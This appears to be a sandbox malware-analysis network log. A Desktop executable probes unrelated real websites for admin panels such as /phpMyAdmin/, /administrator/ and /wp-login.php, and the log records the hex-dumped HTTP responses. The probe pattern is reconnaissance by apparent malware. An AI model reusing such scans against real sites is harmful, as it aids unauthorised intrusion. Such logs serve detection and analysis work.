2023-11-26 05:59:38 UTC	648	IN	Data Raw: 32 37 63 0d 0a 2f 70 68 70 4d 79 41 64 6d 69 6e 2f 4f 4f 50 53 21 20 53 6f 6d 65 74 68 69 6e 67 20 77 65 6e 74 20 77 72 6f 6e 67 2e 20 54 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 68 61 73 20 62 65 65 6e 20 0d 0a 72 65 6d 6f 76 65 64 20 6f 72 20 69 73 20 63 75 72 72 65 6e 74 6c 79 20 75 6e 64 65 72 20 6d 61 69 6e 74 65 6e 61 6e 63 65 2e 0d 0a 46 65 65 6c 20 66 72 65 65 20 74 6f 20 72 65 61 64 20 74 68 65 20 6d 61 6e 79 20 6f 74 68 65 72 20 61 72 74 69 63 6c 65 73 20 61 76 61 69 6c 61 62 6c 65 20 61 74 20 0d 0a 68 74 74 70 73 3a 2f 2f 77 65 62 73 74 61 6d 70 2e 63 61 0d 0a 3c 21 2d 2d 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: 27c/phpMyAdmin/OOPS! Something went wrong. The page you requested has been removed or is currently under maintenance.Feel free to read the many other articles available at https://webstamp.ca...

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
213	192.168.2.4	60031	15.236.29.106	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:38 UTC	162	OUT	GET / HTTP/1.1 Host: getquipu.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:38 UTC	358	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 39 34 36 34 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 31 34 3a 33 35 3a 30 33 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 36 35 35 66 36 33 31 37 2d 31 37 31 62 31 22 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 3b 20 69 6e 63 6c Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 26 Nov 2023 05:59:38 GMTContent-Type: text/htmlContent-Length: 94641Connection: closeLast-Modified: Thu, 23 Nov 2023 14:35:03 GMTETag: "655f6317-171b1"Strict-Transport-Security: max-age=31536000; incl
2023-11-26 05:59:38 UTC	16026	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 20 4c 61 73 74 20 50 75 62 6c 69 73 68 65 64 3a 20 54 68 75 20 4e 6f 76 20 32 33 20 32 30 32 33 20 31 34 3a 30 37 3a 33 37 20 47 4d 54 2b 30 30 30 30 20 28 43 6f 6f 72 64 69 6e 61 74 65 64 20 55 6e 69 76 65 72 73 61 6c 20 54 69 6d 65 29 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 0a 20 20 64 61 74 61 2d 77 66 2d 70 61 67 65 3d 22 36 35 35 37 39 32 66 62 30 36 30 66 34 66 34 30 65 33 37 66 62 36 62 64 22 0a 20 20 64 61 74 61 2d 77 66 2d 73 69 74 65 3d 22 36 34 30 30 63 34 39 64 66 66 34 62 34 35 38 36 34 65 38 39 36 61 34 62 22 0a 20 20 6c 61 6e 67 3d 22 65 73 22 0a 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 Data Ascii: <!DOCTYPE html>... Last Published: Thu Nov 23 2023 14:07:37 GMT+0000 (Coordinated Universal Time) --><html data-wf-page="655792fb060f4f40e37fb6bd" data-wf-site="6400c49dff4b45864e896a4b" lang="es"> <head> <meta charset="utf-8" /> <ti
2023-11-26 05:59:38 UTC	16384	IN	Data Raw: 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 75 75 69 2d 74 65 78 74 2d 73 69 7a 65 2d 73 6d 61 6c 6c 2d 32 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 43 6f 6e 6f 63 65 20 65 6c 20 65 73 74 61 64 6f 20 64 65 20 74 75 20 66 61 63 74 75 72 61 63 69 c3 b3 6e 20 70 6f 72 20 63 6f 6e 74 61 63 74 6f 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: v> <div class="uui-text-size-small-2"> Conoce el estado de tu facturacin por contacto. </div> </div> </a>
2023-11-26 05:59:38 UTC	16384	IN	Data Raw: 2f 70 65 72 73 6f 6e 61 6c 69 7a 61 72 2d 66 61 63 74 75 72 61 2e 6a 73 6f 6e 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 6c 6f 6f 70 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 64 69 72 65 63 74 69 6f 6e 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 61 75 74 6f 70 6c 61 79 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 69 73 2d 69 78 32 2d 74 61 72 67 65 74 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 72 65 6e 64 65 72 65 72 3d 22 73 76 67 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 64 75 72 61 74 69 6f 6e Data Ascii: /personalizar-factura.json" data-loop="1" data-direction="1" data-autoplay="1" data-is-ix2-target="0" data-renderer="svg" data-duration
2023-11-26 05:59:38 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 74 3d 22 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6c 61 73 73 3d 22 69 6d 61 67 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 77 2d 6e 6f 64 65 2d 5f 35 66 38 65 31 64 33 31 2d 38 66 61 38 2d 64 35 63 31 2d 36 30 34 36 2d 30 37 62 34 31 32 34 39 33 63 37 36 2d 31 32 34 39 33 63 37 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6c 61 73 73 3d 22 64 69 76 20 62 67 5f 5f 67 72 65 65 6e 5f 69 6d 61 67 65 20 66 75 6c 6c 2d 63 65 6e 74 65 72 20 72 6f 75 6e 64 65 64 5f 5f 32 30 70 78 22 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: " alt="" class="image" /> </div> <div id="w-node-_5f8e1d31-8fa8-d5c1-6046-07b412493c76-12493c71" class="div bg__green_image full-center rounded__20px"
2023-11-26 05:59:38 UTC	16384	IN	Data Raw: 74 65 72 2d 6c 69 6e 6b 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 49 6e 67 72 65 73 6f 73 20 79 20 67 61 73 74 6f 73 3c 2f 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 65 73 2f 67 65 73 74 69 6f 6e 2d 63 6f 62 72 6f 73 2d 79 2d 70 61 67 6f 73 22 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 20 66 6f 6f 74 65 72 2d 6c 69 6e 6b 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 43 6f 62 72 6f 73 20 79 20 70 61 67 6f 73 3c 2f 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 65 73 2f 67 65 73 74 69 6f 6e 2d 63 6c 69 65 6e 74 65 73 2d 70 72 6f 76 65 65 64 6f 72 65 73 22 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 20 66 6f 6f 74 65 72 2d 6c 69 Data Ascii: ter-link" >Ingresos y gastos</a > <a href="es/gestion-cobros-y-pagos" class="link footer-link" >Cobros y pagos</a > <a href="es/gestion-clientes-proveedores" class="link footer-li
2023-11-26 05:59:39 UTC	13079	IN	Data Raw: 20 34 30 2e 38 37 34 39 20 33 33 2e 30 35 31 39 20 34 31 2e 30 37 30 35 20 33 33 2e 34 35 33 39 4c 34 31 2e 39 33 39 37 20 33 35 2e 31 39 32 34 43 34 32 2e 30 39 31 38 20 33 35 2e 34 38 35 37 20 34 32 2e 33 37 34 33 20 33 35 2e 36 34 38 37 20 34 32 2e 36 37 38 35 20 33 35 2e 36 34 38 37 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 77 68 69 74 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 33 33 2e 30 39 35 34 20 33 30 2e 34 32 32 35 43 33 33 2e 32 31 34 39 20 33 30 2e 34 32 32 35 20 33 33 2e 33 34 35 33 20 33 30 2e 33 39 20 33 33 2e 34 35 33 39 20 33 30 Data Ascii: 40.8749 33.0519 41.0705 33.4539L41.9397 35.1924C42.0918 35.4857 42.3743 35.6487 42.6785 35.6487Z" fill="white" ></path> <path d="M33.0954 30.4225C33.2149 30.4225 33.3453 30.39 33.4539 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
214	192.168.2.4	60289	92.62.143.50	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:38 UTC	178	OUT	GET /administrator/ HTTP/1.1 Host: www.bunasta.eu Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:38 UTC	451	IN	Data Raw: 48 54 54 50 2f 31 2e 30 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 38 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 43 4d 53 53 45 53 53 49 44 38 30 66 39 66 64 33 66 3d 6e 39 72 30 71 36 74 66 6e 31 68 6e 65 73 68 67 6c 64 6b 30 76 36 33 6c 74 36 3b 20 70 61 74 68 3d 2f 3b 20 48 74 74 70 4f 6e 6c 79 0d 0a 45 78 70 69 72 65 73 3a 20 4d 6f 6e 2c 20 32 36 20 4a 75 6c 20 31 39 39 37 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 Data Ascii: HTTP/1.0 404 Not FoundDate: Sun, 26 Nov 2023 05:59:38 GMTServer: Apache/2.4.38 (Debian)Set-Cookie: CMSSESSID80f9fd3f=n9r0q6tfn1hneshgldk0v63lt6; path=/; HttpOnlyExpires: Mon, 26 Jul 1997 05:00:00 GMTCache-Control: no-store, no-cache, must-revali
2023-11-26 05:59:38 UTC	16384	IN	Data Raw: 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6c 74 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 75 73 6c 61 70 69 73 20 6e 65 72 61 73 74 61 73 20 2d 20 42 75 6e 61 73 74 61 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 75 6e 61 Data Ascii: <!DOCTYPE html><html lang="lt"><head> <meta charset="UTF-8"/> <title>Puslapis nerastas - Bunasta</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="stylesheet" href="https://www.buna
2023-11-26 05:59:38 UTC	16384	IN	Data Raw: 6e 2d 79 3a 20 2d 38 30 70 78 3b 20 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 50 75 73 6c 61 70 69 73 20 6e 65 72 61 73 74 61 73 20 20 20 20 20 20 20 20 3c 2f 68 31 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 3c 2f 73 65 63 74 69 6f 6e 3e 0a 0a 0a 0a 20 20 20 20 0a 20 20 20 20 3c 73 65 63 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 63 62 6e 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: n-y: -80px; "> <div class="container"> <h1> Puslapis nerastas </h1> </div></section> <section> <div class="container"> <div class="fcbn-column">
2023-11-26 05:59:38 UTC	4056	IN	Data Raw: 70 61 6e 61 c5 a1 61 75 73 20 74 69 70 6f 20 69 6e 66 6f 72 6d 61 63 69 6a c4 85 2e c2 a0 3c 2f 70 3e 0a 3c 70 3e 54 61 69 67 69 2c 20 6b 61 64 20 c5 a1 69 6f 73 20 75 c5 be 6b 6c 61 75 73 6f 73 20 66 6f 72 6d 61 20 75 c5 be 74 69 6b 72 69 6e 74 61 69 20 76 65 69 6b 74 c5 b3 2c 20 6a c5 ab 73 20 74 75 72 69 74 65 20 70 61 c5 be 79 6d c4 97 74 69 20 e2 80 9e 53 75 74 69 6e 6b 75 20 73 75 20 6e 61 c5 a1 75 6d 6f 20 73 6c 61 70 75 6b 61 69 73 e2 80 9c 2e 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 3e 53 6c 61 70 75 6b c5 b3 20 6e 61 75 64 6f 6a 69 6d 6f 20 70 61 72 69 6e 6b 74 79 73 3c 2f Data Ascii: panaaus tipo informacij.</p><p>Taigi, kad ios uklausos forma utikrintai veikt, js turite paymti Sutinku su naumo slapukais.</p> </div> <h2>Slapuk naudojimo parinktys</

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
215	192.168.2.4	60633	47.246.24.211	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:38 UTC	169	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: wonka.cc Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:39 UTC	733	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 54 65 6e 67 69 6e 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 30 33 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 39 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 41 53 50 2e 4e 45 54 5f 53 65 73 73 69 6f 6e 49 64 3d 68 72 68 32 79 66 64 72 32 63 31 61 6f 6d 72 33 6b 68 70 63 68 6e 35 34 3b 20 70 61 74 68 3d 2f 3b 20 48 74 74 70 4f 6e 6c 79 3b Data Ascii: HTTP/1.1 404 Not FoundServer: TengineContent-Type: text/html; charset=utf-8Content-Length: 103Connection: closeDate: Sun, 26 Nov 2023 05:59:39 GMTCache-Control: privateSet-Cookie: ASP.NET_SessionId=hrh2yfdr2c1aomr3khpchn54; path=/; HttpOnly;
2023-11-26 05:59:39 UTC	103	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 6e 77 7a 69 6d 67 2e 77 65 7a 68 61 6e 2e 6e 65 74 2f 73 74 61 74 69 63 2d 6a 73 2f 70 61 67 65 34 30 34 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e Data Ascii: <!DOCTYPE html><html><head><script src='https://nwzimg.wezhan.net/static-js/page404.js'></script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
216	192.168.2.4	60629	15.235.14.141	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:38 UTC	173	OUT	GET /wp-login.php HTTP/1.1 Host: unaj.edu.pe Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:38 UTC	472	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 58 2d 44 72 75 70 61 6c 2d 44 79 6e 61 6d 69 63 2d 43 61 63 68 65 3a 20 48 49 54 0d 0a 58 2d 55 41 2d 43 6f 6d 70 61 74 69 Data Ascii: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 26 Nov 2023 05:59:38 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: must-revalidate, no-cache, privateX-Drupal-Dynamic-Cache: HITX-UA-Compati
2023-11-26 05:59:38 UTC	15912	IN	Data Raw: 37 39 37 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 20 64 69 72 3d 22 6c 74 72 22 20 70 72 65 66 69 78 3d 22 63 6f 6e 74 65 6e 74 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 72 73 73 2f 31 2e 30 2f 6d 6f 64 75 6c 65 73 2f 63 6f 6e 74 65 6e 74 2f 20 20 64 63 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 64 63 2f 74 65 72 6d 73 2f 20 20 66 6f 61 66 3a 20 68 74 74 70 3a 2f 2f 78 6d 6c 6e 73 2e 63 6f 6d 2f 66 6f 61 66 2f 30 2e 31 2f 20 20 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 20 72 64 66 73 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 31 2f 72 64 66 2d 73 63 68 65 6d 61 23 20 20 73 63 68 65 6d 61 3a 20 68 74 74 70 3a 2f 2f Data Ascii: 7971<!DOCTYPE html><html lang="es" dir="ltr" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# schema: http://
2023-11-26 05:59:38 UTC	15190	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 22 3e 3c 61 20 68 72 65 66 3d 22 2f 65 73 2f 64 65 66 2d 75 6e 69 2d 73 6f 6d 6f 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 44 65 66 65 6e 73 6f 72 c3 ad 61 20 55 6e 69 76 65 72 73 69 74 61 72 69 61 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 6e 61 6a 2e 65 6e 63 69 63 6c 6f 2e 65 73 2f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: </a></li><li class="menu-item"><a href="/es/def-uni-somos"> Defensora Universitaria </a></li><li class="menu-item"><a href="https://unaj.enciclo.es/">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
217	192.168.2.4	60622	162.250.126.5	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:38 UTC	179	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: mydirectlender.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:38 UTC	662	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 70 62 69 64 3d 32 61 33 31 30 35 31 64 61 38 34 64 34 66 65 66 64 35 36 39 36 33 38 33 34 38 63 61 38 61 64 65 33 33 38 65 34 39 33 62 34 39 63 62 30 63 62 61 64 33 66 37 61 65 35 66 36 35 34 37 61 33 Data Ascii: HTTP/1.1 404 Not FoundConnection: closeexpires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8set-cookie: pbid=2a31051da84d4fefd569638348ca8ade338e493b49cb0cbad3f7ae5f6547a3
2023-11-26 05:59:38 UTC	706	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 Data Ascii: <!DOCTYPE html><html lang="en-US"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="http://gmpg.org/xfn/11"> <meta name='robots' content='noindex, nofollow' />
2023-11-26 05:59:38 UTC	14994	IN	Data Raw: 65 78 74 22 3a 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 22 2c 22 40 67 72 61 70 68 22 3a 5b 7b 22 40 74 79 70 65 22 3a 22 57 65 62 53 69 74 65 22 2c 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 6d 79 64 69 72 65 63 74 6c 65 6e 64 65 72 2e 63 6f 6d 2f 23 77 65 62 73 69 74 65 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6d 79 64 69 72 65 63 74 6c 65 6e 64 65 72 2e 63 6f 6d 2f 22 2c 22 6e 61 6d 65 22 3a 22 53 74 61 67 69 6e 67 20 66 6f 72 20 4d 79 44 69 72 65 63 74 4c 65 6e 64 65 72 2e 63 6f 6d 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 44 69 72 65 63 74 20 4c 65 6e 64 65 72 73 2c 20 4c 4c 43 22 2c 22 70 75 62 6c 69 73 68 65 72 22 3a 7b 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 6d 79 64 69 72 65 63 74 6c 65 6e 64 65 72 2e 63 Data Ascii: 